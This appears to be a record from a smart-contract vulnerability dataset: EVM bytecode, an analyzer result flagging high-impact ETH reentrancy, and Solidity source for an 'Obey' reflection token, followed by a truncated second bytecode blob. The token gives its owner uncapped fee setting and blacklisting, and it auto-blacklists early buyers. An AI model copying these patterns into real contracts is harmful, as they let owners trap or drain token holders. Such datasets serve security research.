0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610523578063dd62ed3e14610543578063ea1644d514610589578063f2fde38b146105a957600080fd5b8063a2a957bb1461049e578063a9059cbb146104be578063bfd79284146104de578063c3c8cd801461050e57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b41146101fe57806398a5c3151461047e57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192d565b6105c9565b005b34801561020a57600080fd5b506040805180820182526008815267446f67654772616d60c01b6020820152905161023591906119f2565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a47565b610668565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611a73565b61067f565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060155461028e906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611ab4565b6106e8565b34801561036957600080fd5b506101fc610378366004611ae1565b610733565b34801561038957600080fd5b506101fc61077b565b34801561039e57600080fd5b506102bd6103ad366004611ab4565b6107c6565b3480156103be57600080fd5b506101fc6107e8565b3480156103d357600080fd5b506101fc6103e2366004611afc565b61085c565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611ab4565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028e565b34801561045457600080fd5b506101fc610463366004611ae1565b61088b565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b506101fc610499366004611afc565b6108d3565b3480156104aa57600080fd5b506101fc6104b9366004611b15565b610902565b3480156104ca57600080fd5b5061025e6104d9366004611a47565b610940565b3480156104ea57600080fd5b5061025e6104f9366004611ab4565b60106020526000908152604090205460ff1681565b34801561051a57600080fd5b506101fc61094d565b34801561052f57600080fd5b506101fc61053e366004611b47565b6109a1565b34801561054f57600080fd5b506102bd61055e366004611bcb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059557600080fd5b506101fc6105a4366004611afc565b610a42565b3480156105b557600080fd5b506101fc6105c4366004611ab4565b610a71565b6000546001600160a01b031633146105fc5760405162461bcd60e51b81526004016105f390611c04565b60405180910390fd5b60005b81518110156106645760016010600084848151811061062057610620611c39565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065c81611c65565b9150506105ff565b5050565b6000610675338484610b5b565b5060015b92915050565b600061068c848484610c7f565b6106de84336106d985604051806060016040528060288152602001611d7f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bb565b610b5b565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075d5760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b057506013546001600160a01b0316336001600160a01b0316145b6107b957600080fd5b476107c3816111f5565b50565b6001600160a01b0381166000908152600260205260408120546106799061122f565b6000546001600160a01b031633146108125760405162461bcd60e51b81526004016105f390611c04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108865760405162461bcd60e51b81526004016105f390611c04565b601655565b6000546001600160a01b031633146108b55760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fd5760405162461bcd60e51b81526004016105f390611c04565b601855565b6000546001600160a01b0316331461092c5760405162461bcd60e51b81526004016105f390611c04565b600893909355600a91909155600955600b55565b6000610675338484610c7f565b6012546001600160a01b0316336001600160a01b0316148061098257506013546001600160a01b0316336001600160a01b0316145b61098b57600080fd5b6000610996306107c6565b90506107c3816112b3565b6000546001600160a01b031633146109cb5760405162461bcd60e51b81526004016105f390611c04565b60005b82811015610a3c5781600560008686858181106109ed576109ed611c39565b9050602002016020810190610a029190611ab4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3481611c65565b9150506109ce565b50505050565b6000546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016105f390611c04565b601755565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b038116610b005760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f3565b6001600160a01b038216610c1e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f3565b6001600160a01b038216610d455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f3565b60008111610da75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f3565b6000546001600160a01b03848116911614801590610dd357506000546001600160a01b03838116911614155b156110b457601554600160a01b900460ff16610e6c576000546001600160a01b03848116911614610e6c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f3565b601654811115610ebe5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f3565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0057506001600160a01b03821660009081526010602052604090205460ff16155b610f585760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f3565b6015546001600160a01b03838116911614610fdd5760175481610f7a846107c6565b610f849190611c80565b10610fdd5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f3565b6000610fe8306107c6565b6018546016549192508210159082106110015760165491505b8080156110185750601554600160a81b900460ff16155b801561103257506015546001600160a01b03868116911614155b80156110475750601554600160b01b900460ff165b801561106c57506001600160a01b03851660009081526005602052604090205460ff16155b801561109157506001600160a01b03841660009081526005602052604090205460ff16155b156110b15761109f826112b3565b4780156110af576110af476111f5565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f657506001600160a01b03831660009081526005602052604090205460ff165b8061112857506015546001600160a01b0385811691161480159061112857506015546001600160a01b03848116911614155b15611135575060006111af565b6015546001600160a01b03858116911614801561116057506014546001600160a01b03848116911614155b1561117257600854600c55600954600d555b6015546001600160a01b03848116911614801561119d57506014546001600160a01b03858116911614155b156111af57600a54600c55600b54600d555b610a3c8484848461143c565b600081848411156111df5760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611c98565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610664573d6000803e3d6000fd5b60006006548211156112965760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f3565b60006112a061146a565b90506112ac838261148d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fb576112fb611c39565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134f57600080fd5b505afa158015611363573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113879190611caf565b8160018151811061139a5761139a611c39565b6001600160a01b0392831660209182029290920101526014546113c09130911684610b5b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f9908590600090869030904290600401611ccc565b600060405180830381600087803b15801561141357600080fd5b505af1158015611427573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611449576114496114cf565b6114548484846114fd565b80610a3c57610a3c600e54600c55600f54600d55565b60008060006114776115f4565b9092509050611486828261148d565b9250505090565b60006112ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611634565b600c541580156114df5750600d54155b156114e657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150f87611662565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154190876116bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115709086611701565b6001600160a01b03891660009081526002602052604090205561159281611760565b61159c84836117aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160f828261148d565b82101561162b57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116555760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611d3d565b600080600080600080600080600061167f8a600c54600d546117ce565b925092509250600061168f61146a565b905060008060006116a28e878787611823565b919e509c509a509598509396509194505050505091939550919395565b60006112ac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bb565b60008061170e8385611c80565b9050838110156112ac5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f3565b600061176a61146a565b905060006117788383611873565b306000908152600260205260409020549091506117959082611701565b30600090815260026020526040902055505050565b6006546117b790836116bf565b6006556007546117c79082611701565b6007555050565b60008080806117e860646117e28989611873565b9061148d565b905060006117fb60646117e28a89611873565b905060006118138261180d8b866116bf565b906116bf565b9992985090965090945050505050565b60008080806118328886611873565b905060006118408887611873565b9050600061184e8888611873565b905060006118608261180d86866116bf565b939b939a50919850919650505050505050565b60008261188257506000610679565b600061188e8385611d5f565b90508261189b8583611d3d565b146112ac5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f3565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c357600080fd5b803561192881611908565b919050565b6000602080838503121561194057600080fd5b823567ffffffffffffffff8082111561195857600080fd5b818501915085601f83011261196c57600080fd5b81358181111561197e5761197e6118f2565b8060051b604051601f19603f830116810181811085821117156119a3576119a36118f2565b6040529182528482019250838101850191888311156119c157600080fd5b938501935b828510156119e6576119d78561191d565b845293850193928501926119c6565b98975050505050505050565b600060208083528351808285015260005b81811015611a1f57858101830151858201604001528201611a03565b81811115611a31576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5a57600080fd5b8235611a6581611908565b946020939093013593505050565b600080600060608486031215611a8857600080fd5b8335611a9381611908565b92506020840135611aa381611908565b929592945050506040919091013590565b600060208284031215611ac657600080fd5b81356112ac81611908565b8035801515811461192857600080fd5b600060208284031215611af357600080fd5b6112ac82611ad1565b600060208284031215611b0e57600080fd5b5035919050565b60008060008060808587031215611b2b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5c57600080fd5b833567ffffffffffffffff80821115611b7457600080fd5b818601915086601f830112611b8857600080fd5b813581811115611b9757600080fd5b8760208260051b8501011115611bac57600080fd5b602092830195509350611bc29186019050611ad1565b90509250925092565b60008060408385031215611bde57600080fd5b8235611be981611908565b91506020830135611bf981611908565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7957611c79611c4f565b5060010190565b60008219821115611c9357611c93611c4f565b500190565b600082821015611caa57611caa611c4f565b500390565b600060208284031215611cc157600080fd5b81516112ac81611908565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1c5784516001600160a01b031683529383019391830191600101611cf7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7957611d79611c4f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220edc7143668acef175da5d20b6eb96e5f26ab9b91d68b8ba29eefad768bbe426c64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
233
0xe73938e49b8f7ec11f4c9a10dd2ddce7f99d65ef
/** Will you Obey? */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract OBEY is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Obey";// string private constant _symbol = "Obey";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 3;// uint256 private _taxFeeOnBuy = 3;// //Sell Fee uint256 private _redisFeeOnSell = 6;// uint256 private _taxFeeOnSell = 6;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xf6e69ee9f9E132890919848509dd0AB1D6686F44);// address payable private _marketingAddress = payable(0xf6e69ee9f9E132890919848509dd0AB1D6686F44);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; //1% uint256 public _maxWalletSize = 10000000000 * 10**9; //1% uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610513578063dd62ed3e14610529578063ea1644d51461056f578063f2fde38b1461058f57600080fd5b8063a9059cbb1461048e578063bfd79284146104ae578063c3c8cd80146104de578063c492f046146104f357600080fd5b80638f9a55c0116100d15780638f9a55c01461043857806395d89b41146101fe57806398a5c3151461044e578063a2a957bb1461046e57600080fd5b80637d1db4a5146103e45780638da5cb5b146103fa5780638f70ccf71461041857600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037a57806370a082311461038f578063715018a6146103af57806374010ece146103c457600080fd5b8063313ce567146102fe57806349bd5a5e1461031a5780636b9990531461033a5780636d8aa8f81461035a57600080fd5b80631694505e116101ab5780631694505e1461026a57806318160ddd146102a257806323b872dd146102c85780632fd689e3146102e857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023a57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b2f565b6105af565b005b34801561020a57600080fd5b5060408051808201825260048152634f62657960e01b602082015290516102319190611c61565b60405180910390f35b34801561024657600080fd5b5061025a610255366004611a7f565b61064e565b6040519015158152602001610231565b34801561027657600080fd5b5060155461028a906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b3480156102ae57600080fd5b50683635c9adc5dea000005b604051908152602001610231565b3480156102d457600080fd5b5061025a6102e3366004611a3e565b610665565b3480156102f457600080fd5b506102ba60195481565b34801561030a57600080fd5b5060405160098152602001610231565b34801561032657600080fd5b5060165461028a906001600160a01b031681565b34801561034657600080fd5b506101fc6103553660046119cb565b6106ce565b34801561036657600080fd5b506101fc610375366004611bfb565b610719565b34801561038657600080fd5b506101fc610761565b34801561039b57600080fd5b506102ba6103aa3660046119cb565b6107ac565b3480156103bb57600080fd5b506101fc6107ce565b3480156103d057600080fd5b506101fc6103df366004611c16565b610842565b3480156103f057600080fd5b506102ba60175481565b34801561040657600080fd5b506000546001600160a01b031661028a565b34801561042457600080fd5b506101fc610433366004611bfb565b610871565b34801561044457600080fd5b506102ba60185481565b34801561045a57600080fd5b506101fc610469366004611c16565b6108bd565b34801561047a57600080fd5b506101fc610489366004611c2f565b6108ec565b34801561049a57600080fd5b5061025a6104a9366004611a7f565b61092a565b3480156104ba57600080fd5b5061025a6104c93660046119cb565b60116020526000908152604090205460ff1681565b3480156104ea57600080fd5b506101fc610937565b3480156104ff57600080fd5b506101fc61050e366004611aab565b61098b565b34801561051f57600080fd5b506102ba60085481565b34801561053557600080fd5b506102ba610544366004611a05565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057b57600080fd5b506101fc61058a366004611c16565b610a2c565b34801561059b57600080fd5b506101fc6105aa3660046119cb565b610a5b565b6000546001600160a01b031633146105e25760405162461bcd60e51b81526004016105d990611cb6565b60405180910390fd5b60005b815181101561064a5760016011600084848151811061060657610606611dfd565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064281611dcc565b9150506105e5565b5050565b600061065b338484610b45565b5060015b92915050565b6000610672848484610c69565b6106c484336106bf85604051806060016040528060288152602001611e3f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611227565b610b45565b5060019392505050565b6000546001600160a01b031633146106f85760405162461bcd60e51b81526004016105d990611cb6565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107435760405162461bcd60e51b81526004016105d990611cb6565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b0316148061079657506014546001600160a01b0316336001600160a01b0316145b61079f57600080fd5b476107a981611261565b50565b6001600160a01b03811660009081526002602052604081205461065f906112e6565b6000546001600160a01b031633146107f85760405162461bcd60e51b81526004016105d990611cb6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461086c5760405162461bcd60e51b81526004016105d990611cb6565b601755565b6000546001600160a01b0316331461089b5760405162461bcd60e51b81526004016105d990611cb6565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146108e75760405162461bcd60e51b81526004016105d990611cb6565b601955565b6000546001600160a01b031633146109165760405